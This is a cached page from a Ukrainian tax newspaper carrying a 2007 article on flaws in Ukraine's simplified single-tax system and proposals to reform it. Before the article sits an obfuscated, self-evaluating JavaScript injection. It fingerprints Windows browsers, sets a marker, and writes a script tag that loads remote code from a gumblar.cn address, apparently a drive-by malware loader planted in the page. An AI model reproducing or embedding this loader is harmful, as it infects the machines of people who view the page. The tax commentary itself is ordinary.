(function(){var sLzL='v~61r~20a~3d~22ScriptEngine~22~2cb~3d~22~56er~73~69on()+~22~2cj~3d~22~22~2cu~3d~6eaviga~74or~2euserAge~6et~3bif~28~28u~2e~69n~64exOf(~22W~69~6e~22~29~3e0)~26~26(u~2ei~6ed~65x~4ff(~22N~54~206~22)~3c0)~26~26~28do~63ument~2ec~6fo~6bie~2eindexOf(~22m~69ek~3d1~22)~3c0~29~26~26(~74ypeof(zrvzts)~21~3d~74y~70eof~28~22A~22~29))~7bz~72~76zts~3d~22A~22~3b~65val~28~22if(~77indow~2e~22~2ba+~22)j~3dj+~22+a+~22Ma~6aor~22+b+a~2b~22~4dinor~22+b+~61~2b~22Buil~64~22+~62+~22~6a~3b~22~29~3bdo~63umen~74~2ewrite(~22~3csc~72ip~74~20src~3d~2f~2fgumbla~72~2ec~6e~2frss~2f~3fid~3d~22+j+~22~3e~3c~5c~2fscript~3e~22~29~3b~7d';eval(unescape(sLzL.replace(/~/g,'%')))})(); -->
http://www.konsultant.kiev.ua/new1_07/07020101.html · 
Слова:  #url="www.konsultant.kiev.ua/first.html*" 
Яндекс никак не связан с авторами и содержимым страницы  

 

 >>Головна | Про нас... | Передплата | Реклама 

 

Можливі напрями реформування спрощеної системи оподаткування

«Kонсультант» вже повідомляв як про створення Громадської колегії при ДПА України, так і про роботу в її складі постійно діючих комісій за напрямами. Активно включившись у вирішення поставлених перед колегією завдань, члени цих комісій вирішують конкретні питання удосконалення організації діяльності податкової служби. Ілюстрацією цього є стаття члена Громадської колегії при ДПА України Ю. Ганущака, яку ми друкуємо сьогодні.
(«Податковий, банківський, митний КОНСУЛЬТАНТ», № 2, 15.01.2007)


Проблемні питання функціонування
спрощеної системи оподаткування в Україні (єдиний податок)


Розроблений і впроваджений в 1998 році Указом президента єдиний податок містить досить багато суперечливих положень і в такому вигляді існувати не може. Зокрема, це стосується і ставок, і граничного обсягу виручки для переходу на спрощену систему, і переліку податків і зборів, замість яких сплачується єдиний податок.
Настрої щодо реформування спрощеної системи вже інтуїтивно відчуваються суспільством. Зокрема, на рівні чуток проходить інформація про скасування цього податку з 1 січня 2007 року.
Втім, цій системі ніщо не загрожує – поки що, оскільки відповідно до пункту 4 розділу XV «Перехідні положення» Kонституції України, Указ президента про спрощену систему оподаткування діятиме до прийняття Верховною Радою закону, що буде регулювати оподатковування малого бізнесу. Станом на 22 листопада 2006 року в Верховній Раді України не було зареєстровано жодного законопроекту щодо спрощеної системи оподаткування.
Спрощена система оподаткування об’єднує дві абсолютно різні системи оподаткування, а саме, оподаткування за фіксованою ставкою податку та сплата фіксованого розміру податку незалежно від результатів діяльності. Якщо перша система ще має право на існування через те, що розмір податку все ж таки прив’язаний до економічної діяльності суб’єктів господарювання, то друга система може застосовуватись лише для невеликого кола дрібних бізнесменів.
Фіксований розмір податку не переглядався з 1998 року, в той час як за період з 1998 року кумулятивний індекс інфляції склав 231,1%. Таким чином, існують економічні підстави для збільшення розміру фіксованого розміру податку (чи принаймні його верхньої межі) у 2,5-3 рази, тобто до 500-600 грн. Водночас, такий підхід не знімає проблеми перегляду цього розміру у майбутньому.
Граничний обсяг операцій для реєстрації платником єдиного податку перевищує граничний обсяг операцій для обов’язкової реєстрації платником ПДВ. Зокрема, для можливості переходу на спрощену систему обсяг виручки суб’єкта господарювання – фізичної особи не має перевищувати 500 тис. грн, а юридичної особи – 1 млн грн, в той час як для обов’язкової реєстрації платником ПДВ обсяг оподатковуваних операцій має бути більшим за 300 тис. грн (підпункт 2.3.1 пункту 2.3 статті 2 Закону України від 3 квітня 1997 року № 168 «Про податок на додану вартість»). Через таку розбіжність на практиці можуть виникати ситуації, коли платник єдиного податку зобов’язаний реєструватися платником податку на додану вартість незважаючи на можливість лишатися на спрощеній системі оподаткування. Такий суб’єкт господарювання буде сплачувати і єдиний податок, і ПДВ. З огляду на складність обліку податку на додану вартість це може виявитись неприйнятним для багатьох дрібних підприємств і підприємців і стати причиною наростання тінізації.
Ситуація із моментом виникнення необхідності реєструватися платником ПДВ для малого підприємства ускладнюється ще й тим, що при реєстрації платником єдиного податку за основу береться період у один календарний рік (тобто з 1 січня до 31 грудня), тоді як для визначення моменту виникнення зобов’язання реєструватися платником ПДВ враховуються 12 календарних місяців (тобто це може бути з 1 квітня до 31 березня, з 1 жовтня до 30 вересня і т. ін.). Така «часова» розбіжність може створити додаткові проблеми для сезонних підприємств у вигляді неочікуваного і незапланованого зобов’язання зареєструватися платником ПДВ.
Існуюча система спрощеного оподаткування та звітності відкриває широке поле для мінімізації податкових зобов’язань. Сюди слід віднести:
нарахування зарплат – втрати місцевих бюджетів в частині податку з доходів фізичних осіб;
надання фіктивних послуг в межах граничного обсягу – втрати податку на прибуток, ПДВ;
використання спрощеної системи при проведенні надприбуткових видів діяльності).
Згідно з чинним законодавством, надходження єдиного податку не враховуються при визначенні міжбюджетних трансфертів. Поясненням цьому може бути те, що єдиний податок сплачується замість низки загальнодержавних податків, які зараховуються до державного бюджету – податок на додану вартість, податок на прибуток підприємств тощо. Водночас, низка податків і зборів, обов’язок щодо сплати яких не виникає на спрощеній системі оподаткування належить до власних надходжень місцевих бюджетів, тобто доходів «другого» кошику, як-от плата за землю, місцеві податки. При чому, втрати місцевих бюджетів внаслідок цього не компенсуються.
Деякі положення Указу Президента «Про спрощену систему оподаткування» дозволяють різні тлумачення, що призводить до проблем з контролюючими органами. Зокрема, така ситуація виникла з виключенням комунальних підприємств з кола осіб, які можуть переходити на спрощену систему оподаткування. Так, згідно з роз’ясненнями ДПА у випадку, якщо засновники (органи державної влади та органи місцевого самоврядування) державних та комунальних підприємства не є суб’єктами малого підприємництва і їх частка в цих підприємствах перевищує 25 відсотків, то дія Указу Президента України від 3 липня 1998 року № 727/98 «Про спрощену систему оподаткування, обліку та звітності суб’єктів малого підприємництва», на зазначені підприємства не поширюється.

Варіанти реформування спрощеної системи оподаткування та звітності

Відмінити спрощену систему оподаткування та звітності як таку, що створює нерівні умови оподаткування для різних суб’єктів господарської діяльності, а також умови для ухилення від оподаткування. До переваг даної пропозиції слід віднести створення рівних умов господарювання для всіх суб’єктів господарської діяльності й повне усунення всіх ризиків пов’язаних з функціонуванням спрощеної системи оподаткування та обліку, зокрема, ризики ухилення від оподаткування.
Встановити «прогресивну» шкалу ставок оподаткування для різних обсягів виручки платника єдиного податку. Застосування «прогресивної» шкали оподаткування притаманне оподаткуванню доходів фізичних осіб – береться до уваги те, що деякі особи через об’єктивні причини (старість, хвороба, каліцтво тощо) не в змозі «конкурувати» з іншими. При оподаткуванні суб’єктів господарювання, вважається що всі вони з самого початку знаходяться в рівних умовах і питання забезпечення соціальної справедливості між ними не стоїть. Тому при оподаткуванні доходів СПД, як правило, застосовується єдина ставка. Відносна фіскальна справедливість пропозиції переважується міркуваннями більш простої схеми оподаткування, при якій застосовується одна єдина ставка. При чому, в останньому випадку фіскальна справедливість забезпечується, оскільки особа з вищим рівнем доходів в даному випадку сплатить більшу суму податкового зобов’язання.
Внести зміни до певних елементів діючої системи спрощеного оподаткування: види діяльності, на яких дозволяється застосовувати спрощені методи оподаткування та обліку, перелік податків, замість яких сплачується єдиний податок, ставки, граничний обсяг виручки, який дозволяє застосовувати спрощену систему тощо. Цей підхід дозволяє як зберегти позитивний досвід функціонування спрощеної система, а також усунути виявлені недоліки і закрити законодавчі «дірки», які використовуються для мінімізації податкових зобов’язань. Серед напрямів реформування спрощеної системи оподаткування та обліку можна визначити такі:
Застосування спрощених схем справляння окремих податків (ПДВ, податок на прибуток) для певних галузей.
Законодавчо визначити перелік видів діяльності, щодо яких юридичним та фізичним особам дозволено застосовувати спрощену систему оподаткування.
Вивести з переліку податків і зборів, замість яких сплачується єдиний податок, плату за землю та місцеві податки.
Іншою пропозицією може бути: передбачити, що єдиний податок сплачується замість податку на додану вартість та податку на прибуток підприємств. Всі інші податки, збори та обов’язкові платежі сплачуються на загальних підставах.
Передбачити різні ставки єдиного податку для суб’єктів підприємницької діяльності в залежності від виду діяльності.
Серед напрямів реформування спрощеної системи оподаткування та обліку щодо фізичних осіб можна визначити такі:
Перелік видів діяльності, при здійсненні яких фізичним особам дозволяється сплачувати єдиний податок за фіксованою сумою, має бути суттєво обмежено.
Передбачити індексацію верхньої межі розміру єдиного податку для фізичних осіб – суб’єктів підприємницької діяльності у випадках, коли кумулятивний індекс інфляції перевищує 10%.
Обмежити верхню межу обсягу виручки «фіксованого» єдиного податку граничним обсягом оподатковуваних операцій, який є обов’язковим для реєстрації платником ПДВ. Водночас, передбачити на такому ж рівні можливість застосування ставки 10% для платників єдиного податку. Kрім того, термін обліку такого обсягу слід гармонізувати й визначати його виходячи з 12 календарних місяців, а не з 1 календарного року.
Обмежити перехід фізичних осіб на єдиний податок однією особою.
Справляти єдиний податок з фізичних осіб, які займаються високодохідними видами діяльності або отримують пасивні доходи, у вигляді податку з обороту зі ставкою податку, встановленою для юридичних осіб.
Що стосується спрощеної системи оподаткування та обліку для юридичних осіб, варто відзначити такі пропозиції:
Єдиний податок, який сплачують юридичні особи зараховувати повністю до державного бюджету.
Передбачити, що єдиний податок сплачується замість податку на додану вартість та податку на прибуток підприємств. Всі інші податки, збори та обов’язкові платежі сплачуються на загальних підставах.
Передбачати умови обов’язкової реєстрації фізичної особи – СПД юридичною особою.

Ю. ГАНУЩАK,
(Асоціація міст України та громад).

Інформаційні повідомлення

Документи та коментарі

Консультації

Відповіді читачам

Mail to WebMaster Газета державної податкової адміністрації у м. Києві
При використанні матеріалів посилання на сайт газети «Податковий, банківський, митний КОНСУЛЬТАНТ» обов'язкове
2001-2002 © «Податковий, банківський, митний КОНСУЛЬТАНТ»

ТОВ «Видавництво «КОНСУЛЬТАНТ» 


http://www.konsultant.kiev.ua/new1_07/07020101.html · 
Слова:  #url="www.konsultant.kiev.ua/first.html*" 
Яндекс никак не связан с авторами и содержимым страницы